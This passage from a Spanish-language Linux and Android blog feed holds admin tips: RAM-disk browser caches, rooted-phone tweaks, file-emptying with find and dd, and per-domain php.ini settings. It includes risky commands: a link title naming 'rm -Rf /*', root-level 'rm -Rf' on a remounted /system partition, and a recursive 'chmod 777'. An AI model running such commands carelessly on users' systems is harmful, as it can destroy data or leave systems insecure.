&lt;li&gt;&lt;a class="reference external" href="http://orvtech.com/que-sucede-cuando-ejecutamos-rm-rf-en.html"&gt;What happens when we run rm -Rf /*?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://orvtech.com/instalando-tor-android-configurar-twitter-en.html"&gt;Connect to Twitter or Facebook through TOR to protect your privacy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://orvtech.com/tren-ascii-consola-confundan-ls-con-sl-en.html"&gt;An ASCII train in the terminal every time you confuse ls with sl&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://orvtech.com/instalando-programas-fedora-15-en.html"&gt;Installing applications in Fedora Linux 15&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://orvtech.com/principe-de-persia-fedora-linux-en.html"&gt;How to install Prince of Persia in Fedora Linux&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://orvtech.com/discriminacion-politica-venezuela-en.html"&gt;Venezuela's political discrimination&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In the mean time feel free to ping me via Twitter.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 14 Jan 2011 01:00:00 -0800</pubDate><guid>tag:orvtech.com,2011-01-14:503.html</guid></item><item><title>Navegadores a volar</title><link>http://orvtech.com/navegadores-a-volar.html</link><description>&lt;p&gt;Hoy en día el cuello de botella a nivel de comunicación son los discos
duros. con largos tiempos de búsqueda, escritura y lectura son
excesivamente lentos si lo comparamos con las velocidades de RAM. Hace
unos años era un lujo montar discos virtuales en RAM y se usaban
temporalmente y para cosas puntuales como cuando en gentoo se hacia un
&lt;tt class="docutils literal"&gt;emerge &lt;span class="pre"&gt;-e&lt;/span&gt; world&lt;/tt&gt; y montaba &lt;tt class="docutils literal"&gt;/var/tmp/portage&lt;/tt&gt; en RAM.&lt;/p&gt;
&lt;p&gt;Para usuarios que el principal uso de su computadora es navegar en
Internet bien sea por trabajo (nagios por ejemplo), escribir artículos o
simplemente trolear este tip les puede ser útil si poseen suficiente
RAM.&lt;/p&gt;
&lt;p&gt;En Fedora podemos mover el cache de Google Chrome y de Firefox a RAM creando un ramdisk y montándolo, luego configuramos los exploradores
para que usen estos directorios. Lo primero es editar el archivo
&lt;tt class="docutils literal"&gt;/boot/grub/grub.conf&lt;/tt&gt; y agrega &lt;tt class="docutils literal"&gt;ramdisk_size=512000&lt;/tt&gt; justo antes de
&lt;tt class="docutils literal"&gt;quiet splash&lt;/tt&gt; en la linea de kernel que este usando.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt; title Fedora ramdisk &lt;span class="o"&gt;(&lt;/span&gt;2.6.37.i686&lt;span class="o"&gt;)&lt;/span&gt;
 root &lt;span class="o"&gt;(&lt;/span&gt;hd1,0&lt;span class="o"&gt;)&lt;/span&gt;
 kernel /boot/vmlinuz-2.6.37.i686 ro &lt;span class="nv"&gt;root&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;UUID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;f91d2720-7838-43d3-a3a4-5c993533d0 rd_NO_LUKS rd_NO_LVM rd_NO_MD rd_NO_DM &lt;span class="nv"&gt;LANG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;en_US.UTF-8 &lt;span class="nv"&gt;SYSFONT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;latarcyrheb-sun16 &lt;span class="nv"&gt;KEYBOARDTYPE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;pc &lt;span class="nv"&gt;KEYTABLE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us rhgb &lt;span class="nv"&gt;ramdisk_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;512000 quiet
initrd /boot/initramfs-2.6.37.img&lt;span class="sb"&gt;``&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Luego edita tu /etc/rc.local y agrega estas lineas para formatear el ramdisk, montarlo, crear los directorios necesarios para FireFox y Chrome y darle la permisologia necesaria.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c"&gt;# RAM disck para cache de browsers&lt;/span&gt;
mke2fs -m 0 /dev/ram0
mount /dev/ram0 /tmp/ram/
mkdir -p /tmp/ram/firefox
mkdir -p /tmp/ram/chrome
chmod 777 /tmp/ram/ -R
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Estos comandos me funcionan con Fedora (estoy seguro que en cualquier
otra distro funcionaria). Para hacer que FireFox guarde su cache allí
debes agregar o modificar su conflagración específicamente la llave
&lt;tt class="docutils literal"&gt;browser.cache.disk.parent_directory&lt;/tt&gt; con el valor
&lt;tt class="docutils literal"&gt;/tmp/ram/firefox&lt;/tt&gt;, Para Google Chrome es un poco mas fácil,
simplemente pasale el parámetro &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;–disk-cache-dir=”/tmp/ram/”&lt;/span&gt;&lt;/tt&gt; al
arranque.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;p&gt;[gallery link=&amp;quot;file&amp;quot;]&lt;/p&gt;
&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 11 Jan 2011 13:51:00 -0800</pubDate><guid>tag:orvtech.com,2011-01-11:navegadores-a-volar.html</guid><category>Chrome</category><category>FireFox</category><category>Hacks</category><category>Proyecto Fedora</category><category>recursos</category></item><item><title>Tethering gratis desde tu Android</title><link>http://orvtech.com/tethering-gratis-desde-tu-android.html</link><description>&lt;p&gt;Si aun no tienes root de tu teléfono, estas desperdiciando gran parte
del potencial de tu dispositivo móvil hoy en día existen muchos
mecanismos para lograrlo y el riesgo de ocasionar algún daño permanente
se ha disminuido al mínimo.&lt;/p&gt;
&lt;p&gt;Asumiendo que ya tienen CyanogenMod en su Android, los pasos para usar
tu teléfono móvil como un modem y conectarte a internet son los
siguientes:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Click en 'Settings'.&lt;/li&gt;
&lt;li&gt;Click en 'Wireless &amp;amp; networks'.&lt;/li&gt;
&lt;li&gt;Click en 'Tethering &amp;amp; portable hotspots'.&lt;/li&gt;
&lt;li&gt;Selecciona de acuerdo a tus necesidades Wifi o USB.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style="text-align:center;"
title="Cuatro pasos sencillos para usar tu celular con Android como un modem"&gt;&lt;p&gt;&lt;a class="reference external" href="http://orvtech.info/2011/01/tethering.jpg"&gt;&lt;img alt="Cuatro pasos sencillos para usar tu celular con Android como un modem" src="http://orvtech.info/2011/01/tethering.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;No deberías de incurrir en cargos adicionales siempre y cuando no
sobrepases la cuota mensual de data (en caso de que tengas un limite).
Personalmente recomiendo no pasar de 5GB al mes, muchas operadoras
ofrecen 'Unlimited Data' pero en realidad tienen un soft-cap de 5GB y
cualquier cosa por encima le hacen throtle o investigan que tipo de
trafico es.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 07 Dec 2010 00:41:00 -0800</pubDate><guid>tag:orvtech.com,2010-12-07:tethering-gratis-desde-tu-android.html</guid><category>ADW.Launcher</category><category>Android</category><category>CyanogenMod</category><category>Hacks</category><category>tips</category></item><item><title>Cambiar la resolución de la pantalla en Android.</title><link>http://orvtech.com/cambiar-la-resolucion-de-la-pantalla-en-android.html</link><description>&lt;p&gt;Una cosa que nunca me gusto de Android y de hecho fue una de las cosas
que mas me costo acostumbrarme fue la resolución de la pantalla, los
iconos y letras inmensas, me parecía un desperdicio de pantalla el no
poder cambiarle la densidad al LCD, en especial cuando tienes 11
centímetros (&lt;em&gt;4.3 pulgadas&lt;/em&gt;). Luego de rootear el teléfono me puse a
buscar la forma de alterar esto y conseguí una app que se llama
&lt;a class="reference external" href="http://www.appbrain.com/app/lcddensity-for-root/lv.n3o.lcddensity"&gt;LCDDensity for Root&lt;/a&gt;.&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2010/12/lcd_density_evo4_script01.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/lcd_density_evo4_script01-640x250.jpg" style="width: 640.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2010/12/lcd_density_evo4_script02.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/lcd_density_evo4_script02-640x250.jpg" style="width: 640.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2010/12/lcd_density_evo4_script03.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/lcd_density_evo4_script03-640x250.jpg" style="width: 640.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2010/12/lcd_density_evo4_script04.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/lcd_density_evo4_script04-640x250.jpg" style="width: 640.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2010/12/lcd_density_evo4_script05.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/lcd_density_evo4_script05-640x250.jpg" style="width: 640.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2010/12/lcd_density_evo4_script06.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/lcd_density_evo4_script06-640x250.jpg" style="width: 640.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2010/12/lcd_density_evo4_script07.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/lcd_density_evo4_script07-640x250.jpg" style="width: 640.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2010/12/lcd_density_evo4_script08.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/lcd_density_evo4_script08-640x250.jpg" style="width: 640.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2010/12/lcd_density_evo4_script09.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/lcd_density_evo4_script09-640x250.jpg" style="width: 640.0px;" /&gt;&lt;/a&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2010/12/lcd_density_evo4_script10.jpg"&gt;&lt;img alt="" class="align-center" src="http://orvtech.info/2010/12/lcd_density_evo4_script10-640x250.jpg" style="width: 640.0px;" /&gt;&lt;/a&gt;
&lt;p&gt;El programa funciona de maravilla, excepto que en el nightly build
que estoy usando de CyanogenMod la barra del ADW.Launcher se muestra
descontinua y desalineada si se asigna el valor de 190 o por debajo de
este. Conseguí un script que usando el terminal de android nos permite
asignar un valor arbitrario así que me propuse buscar cual era el valor
entre 190 y 200 en el que la barra no se distorsionaba y luego de un par
de intentos di con el numero 192. Este es el script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c"&gt;#!/system/bin/sh&lt;/span&gt;
&lt;span class="c"&gt;#Version 0.1&lt;/span&gt;
&lt;span class="c"&gt;#Created by lithid&lt;/span&gt;

mount -o rw,remount /system
&lt;span class="nb"&gt;cd&lt;/span&gt; /system
sed &lt;span class="s2"&gt;&amp;quot;s/ro.sf.lcd_density = .*/ro.sf.lcd_density = $1/g&amp;quot;&lt;/span&gt; build.prop &amp;gt; tmp

mv tmp build.prop
&lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;quot;Do you want to reboot now? (y or n) &amp;gt; &amp;quot;&lt;/span&gt;
&lt;span class="nb"&gt;read &lt;/span&gt;list
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;$list&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;n&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;$list&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;N&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;
  &lt;span class="k"&gt;then &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;No Eh? Must not wanna see your changes.&amp;quot;&lt;/span&gt;
  mount -o ro,remount /system
  &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;$list&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;y&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;$list&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Y&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;; &lt;span class="k"&gt;then &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Rebooting Device&amp;quot;&lt;/span&gt;
  sleep 1 reboot
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="k"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;That is not a yes or a no&amp;quot;&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Leaving&amp;quot;&lt;/span&gt;
  mount -o ro,remount /system
  &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Este script fue escrito por &lt;a class="reference external" href="http://twitter.com/#!/lithid"&gt;&amp;#64;lithid&lt;/a&gt; y publicado en los &lt;a class="reference external" href="http://forum.cyanogenmod.com/topic/9580-script-lcd-density/"&gt;foros de CyanogenMod&lt;/a&gt;.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 01 Dec 2010 03:36:00 -0800</pubDate><guid>tag:orvtech.com,2010-12-01:cambiar-la-resolucion-de-la-pantalla-en-android.html</guid><category>ADW.Launcher</category><category>Android</category><category>CyanogenMod</category><category>foros</category><category>Scripts</category></item><item><title>Alguien me podria donar esto?</title><link>http://orvtech.com/alguien-me-podria-donar-esto.html</link><description>&lt;p&gt;Tal como lo dice el titulo, sin preámbulos. Alguien me podría donar esa
arduino? tengo tiempo buscando un juguete y creo que ese es el
apropiado. Quien quita que pueda poner a correr orvtech.com y
linuxevolution.org en un miniclusters de arduinos.&lt;/p&gt;
&lt;div style="text-align: center;"&gt;&lt;p&gt;[caption id=&amp;quot;attachment_167&amp;quot; align=&amp;quot;aligncenter&amp;quot; width=&amp;quot;473&amp;quot;
caption=&amp;quot;Make esta vendiendo este combo por un monto muy barato&amp;quot;]&lt;a class="reference external" href="http://orvtech.info/2010/12/arduino_one_and_book_473x581.jpg"&gt;&lt;img alt="La Arduino One y un libro instructivo" src="http://orvtech.info/2010/12/arduino_one_and_book_473x581.jpg" /&gt;&lt;/a&gt;[/caption]&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Links:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://blog.makezine.com/archive/2010/11/announcing_maker_shed_deal_of_the_d.html"&gt;Anuncio por parte de Makezine.com.&lt;/a&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;a class="reference external" href="http://www.makershed.com/ProductDetails.asp?ProductCode=MSBUN13&amp;amp;Click=64206"&gt;Directo al carrito de compras.&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;UPDATE: Debido a mi ultimo &lt;a class="reference external" href="http://orvtech.com/general/nuevo-modus-operandi-de-estafadores/"&gt;inconveniente con paypal&lt;/a&gt;, no puedo
recibir donaciones monetarias por esa vía. Cualquier ayuda, colaboración
es bienvenida. Puedes colaborar haciendo click en mis patrocinantes o
donar el monto que quieras a travez de google checkout.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;script type="text/javascript"&gt;&lt;br&gt;&lt;/br&gt;
function validateAmount(amount){&lt;br&gt;&lt;/br&gt;
    if(amount.value.match( /^[0-9]+(\.([0-9]+))?$/)){&lt;br&gt;&lt;/br&gt;
        return true;&lt;br&gt;&lt;/br&gt;
    }else{&lt;br&gt;&lt;/br&gt;
        alert('Tu donación debe ser un monto valido.');&lt;br&gt;&lt;/br&gt;
        amount.focus();&lt;br&gt;&lt;/br&gt;
        return false;&lt;br&gt;&lt;/br&gt;
    }&lt;br&gt;&lt;/br&gt;
}&lt;br&gt;&lt;/br&gt;
&lt;/script&gt;&lt;/p&gt;&lt;form action="https://checkout.google.com/cws/v2/Donations/459035716722782/checkoutForm" id="BB_BuyButtonForm" method="post" name="BB_BuyButtonForm" onsubmit="return validateAmount(this.item_price_1)" target="_top"&gt;&lt;/p&gt;&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="60%" /&gt;
&lt;col width="40%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;$&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/form&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 05 Nov 2010 23:55:00 -0700</pubDate><guid>tag:orvtech.com,2010-11-05:alguien-me-podria-donar-esto.html</guid><category>Arduino</category><category>Donaciones</category><category>Embebido</category><category>Regalos</category></item><item><title>Encuentro con #unplug en Venezuela</title><link>http://orvtech.com/encuentro-con-unplug-en-venezuela.html</link><description>&lt;p&gt;Este fin de semana me toco viajar a Venezuela por unos 4 días, aproveche
y me puse en contacto con los muchachos del LUG para ver si nos reunión
y así fue. Ellos (gracias apolstols y tatica y a wattica por carretearme
desde un polo de la ciudad a otro) coordinaron una reunión algo rápida y
pude conocer en persona a algunos del canal de IRC #unplug en el
servidor irc.unplug.org.ve. Aqui les dejo algunas fotos:&lt;/p&gt;
&lt;p&gt;[gallery link=&amp;quot;file&amp;quot;]&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 29 Oct 2010 15:43:00 -0700</pubDate><guid>tag:orvtech.com,2010-10-29:encuentro-con-unplug-en-venezuela.html</guid><category>#unplug</category><category>Linux</category><category>orvtech</category><category>Venezuela</category></item><item><title>Android market con aplicaciones atascadas</title><link>http://orvtech.com/android-market-con-aplicaciones-atascadas.html</link><description>&lt;p&gt;&lt;a class="reference external" href="http://orvtech.info/2010/10/resolver-problema-android-market-1-menu-luego-settings.png"&gt;&lt;img alt="Primer paso: menu luego settings" src="http://orvtech.info/2010/10/resolver-problema-android-market-1-menu-luego-settings.png" /&gt;&lt;/a&gt;Después de un par de días con
problemas tras un update de Touiteur encontré la solución para cuando el
Google Play Store también conocido como Android Market hace crash al uno
intentar cancelar una descarga.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://levelupstudio.com/touiteur"&gt;Touiteur&lt;/a&gt; funcionaba bien pero segun el Google Play Store mostraba que
aun se estaba descargando una versión nueva, decidí cancelarla e
inmediatamente me salio un mensaje de error del market que debía
cerrarse. Desinstalando la aplicación y haciendo logout y login en
google talk no hicieron ninguna diferencia excepto que ahora no tengo la
aplicación instalada y no la puedo instalar.&lt;/p&gt;
&lt;p&gt;La solución es limpiar el cache de esa aplicación, la data local de esa
aplicación. Para lograr esto solo debemos ir a &lt;em&gt;Settings&lt;/em&gt;
--&amp;gt;*Applications* --&amp;gt;*Manage Applications* --&amp;gt;*All* --&amp;gt;*Market*
--&amp;gt;*Clear Data* y por ultimo luego forzamos la aplicación para que se
sierre como se puede ver en estas imágenes:&lt;/p&gt;
&lt;div style="text-align: center;"&gt;&lt;p&gt;[gallery link=&amp;quot;file&amp;quot; order=&amp;quot;DESC&amp;quot;]&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Si tienes problemas específicamente actualizando aplicaciones que ya
tienes instaladas o no te aparecen disponibles algunas aplicaciones que
antes si aparecían disponibles, no dejes de leer: &lt;strong&gt;`Dispositivo no
soportado tras actualización del Android Market - This item is not
compatible with your device`_&lt;/strong&gt;&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 27 Oct 2010 23:59:00 -0700</pubDate><guid>tag:orvtech.com,2010-10-27:android-market-con-aplicaciones-atascadas.html</guid><category>Android</category><category>Google Play Store para Android</category><category>Linux</category></item><item><title>Problema instalando YouTube desde el Android market.</title><link>http://orvtech.com/problema-instalando-youtube-desde-el-android-market.html</link><description>&lt;p&gt;&lt;img alt="Logos de Youtube y Android" src="http://orvtech.info/2010/12/youtube-android-100x47.png" /&gt;Google ha liberado la nueva aplicación de
YouTube para el Android liberándola de los ROMs. Lo bueno de esto es que
podemos esperar que nuevas funcionalidades sean publicadas mas seguido.
El problema viene cuando intentas instalar la versión del Google Play
Store. Como ya existe la versión del ROM el Google Play Store también
conocido como Android Market no la puede remplazar/actualizar por que la
partición &lt;em&gt;/system&lt;/em&gt; esta montada como read only.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;strong&gt;La solución:&lt;/strong&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;Abrir la aplicación &lt;em&gt;Terminal Emulator&lt;/em&gt; y ejecutamos esto:&lt;/div&gt;
&lt;div class="line"&gt;&lt;tt class="docutils literal"&gt;cd /system su mount &lt;span class="pre"&gt;-o&lt;/span&gt; remount,rw /system rm &lt;span class="pre"&gt;-Rf&lt;/span&gt; YouTube.* reboot&lt;/tt&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Para que esto funcione debes de tener rooteado tu Android, luego de que
se reinicie el teléfono regresas al &lt;em&gt;market&lt;/em&gt; e instalas la aplicación
sin problema.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Nota: Esto funciono en mi HTC Evo con CyanogenMod 6.&lt;/em&gt;&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 21 Oct 2010 16:05:00 -0700</pubDate><guid>tag:orvtech.com,2010-10-21:problema-instalando-youtube-desde-el-android-market.html</guid><category>Android</category><category>CyanogenMod</category><category>Google Play Store para Android</category><category>Videos</category><category>YouTube</category></item><item><title>Vaciar todos los archivos de un directorio sin borrarlos</title><link>http://orvtech.com/vaciar-todos-los-archivos-de-un-directorio-sin-borrarlos.html</link><description>&lt;p&gt;Esta semana me pidieron algo curioso. El departamento de móviles me
pidió borrar el contenido de todos los archivos de un directorio sin
eliminar los archivos cada hora. Mi primera reacción fue usar uno de los
scripts que he publicado anteriormente, ese script que usaba find para
&lt;a class="reference external" href="http://orvtech.com/howto/encontrar-los-directorios-y-archivos-mas-grandes-en-una-carpeta"&gt;listar los 10 archivos mas grandes&lt;/a&gt; de un directorio y pensé que
simplemente debía de modificar el &lt;em&gt;ls&lt;/em&gt; por un &lt;em&gt;echo &amp;gt;&lt;/em&gt; es decir
modificar:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;find /servicios/wap/ &lt;span class="pre"&gt;-type&lt;/span&gt; f &lt;span class="pre"&gt;-exec&lt;/span&gt; ls &lt;span class="pre"&gt;-ls&lt;/span&gt; {} \;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Para que quedara así:&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;tt class="docutils literal"&gt;find /servicios/wap/ &lt;span class="pre"&gt;-type&lt;/span&gt; f &lt;span class="pre"&gt;-exec&lt;/span&gt; echo &amp;gt;{ } \;&lt;/tt&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;El detalle es que find considera que el &lt;em&gt;'&amp;gt;'&lt;/em&gt; forma parte de el y me
termina creando un archivo de nombre &lt;em&gt;{}&lt;/em&gt; en el directorio sin
blanquearme los archivos. La alternativa que termine usando fue dd y
quedo así al final:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;find /servicios/wap/ &lt;span class="pre"&gt;-type&lt;/span&gt; f &lt;span class="pre"&gt;-exec&lt;/span&gt; dd &lt;span class="pre"&gt;if=/dev/null&lt;/span&gt; &lt;span class="pre"&gt;of={}&lt;/span&gt; \;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Con su respectiva entrada en el crontab para que se ejecute cada hora.
La entrada luce algo como esto:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;* */1 * * * wireless /op/wap/scripts/wap_cleaner.sh&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;No hice algo mas elaborado por que esto es una solución temporal
mientras se implementan otras aplicaciones.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 06 Oct 2010 22:06:00 -0700</pubDate><guid>tag:orvtech.com,2010-10-06:vaciar-todos-los-archivos-de-un-directorio-sin-borrarlos.html</guid><category>BASH</category><category>Scripts</category></item><item><title>Un php.ini distinto para cada dominio</title><link>http://orvtech.com/un-php-ini-distinto-para-cada-dominio.html</link><description>&lt;p&gt;Hoy me toco implantar una aplicación de Facebook en uno de nuestros
servidores, por motivos de seguridad, nosotros tenemos &lt;em&gt;cURL&lt;/em&gt;
deshabilitado en el &lt;em&gt;php.ini&lt;/em&gt; pero esta aplicación requiere
&lt;em&gt;curl_exec&lt;/em&gt;, después de pasar medio día viendo como hacia para
habilitar se lo solamente a ese virtualhost, encontré PHPINIDir la cual
me permite decirle al apache en cual directorio esta el php.ini&lt;/p&gt;
&lt;p&gt;[caption id=&amp;quot;attachment_215&amp;quot; align=&amp;quot;aligncenter&amp;quot; width=&amp;quot;586&amp;quot;
caption=&amp;quot;salida de php info que muestra PHPINIDir&amp;quot;]&lt;a class="reference external" href="http://orvtech.info/2010/12/php_PHPINIDir_orvtech.com_.png"&gt;&lt;img alt="Salida de php info que muestra PHPINIDir" src="http://orvtech.info/2010/12/php_PHPINIDir_orvtech.com_.png" /&gt;&lt;/a&gt;[/caption]&lt;/p&gt;
&lt;p&gt;La forma de usarlo seria así:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;&amp;lt;VirtualHost *:80&amp;gt; PHPINIDir /path/para/el/directorio/que/tiene/el/php/ini ServerName orvtech.com DocumentRoot &amp;quot;/path/a/tu/document/root&amp;quot; &lt;span class="pre"&gt;....&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Luego de correr unas pruebas puedo testitificar que esta
directiva afecta a todo el &lt;em&gt;httpd.conf&lt;/em&gt; no se limita al &lt;em&gt;VirtualHost&lt;/em&gt; o
al dominio como lo dice la &lt;a class="reference external" href="http://wiki.apache.org/httpd/ExtendingPrivilegeSeparation"&gt;documentacion de apache&lt;/a&gt; (por lo menos así
es en apache 1.3.X).&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 16 Sep 2010 22:30:00 -0700</pubDate><guid>tag:orvtech.com,2010-09-16:un-php-ini-distinto-para-cada-dominio.html</guid><category>apache</category><category>php</category></item><item><title>Respaldar iTunes a un servidor remoto con Rsync</title><link>http://orvtech.com/respaldar-itunes-a-un-servidor-remoto-con-rsync.html</link><description>&lt;p&gt;Aquí les dejo un script que me ayuda a mi a respaldar mi librería de música desde mi laptop a mi NSLU2 que por cierto esta a unas 30 millas (48 kilómetros) de distancia. El script usa Rsync sobre SSH. Démosle un vistazo a este script al cual he salvado como &lt;em&gt;rsync_itunes.sh&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
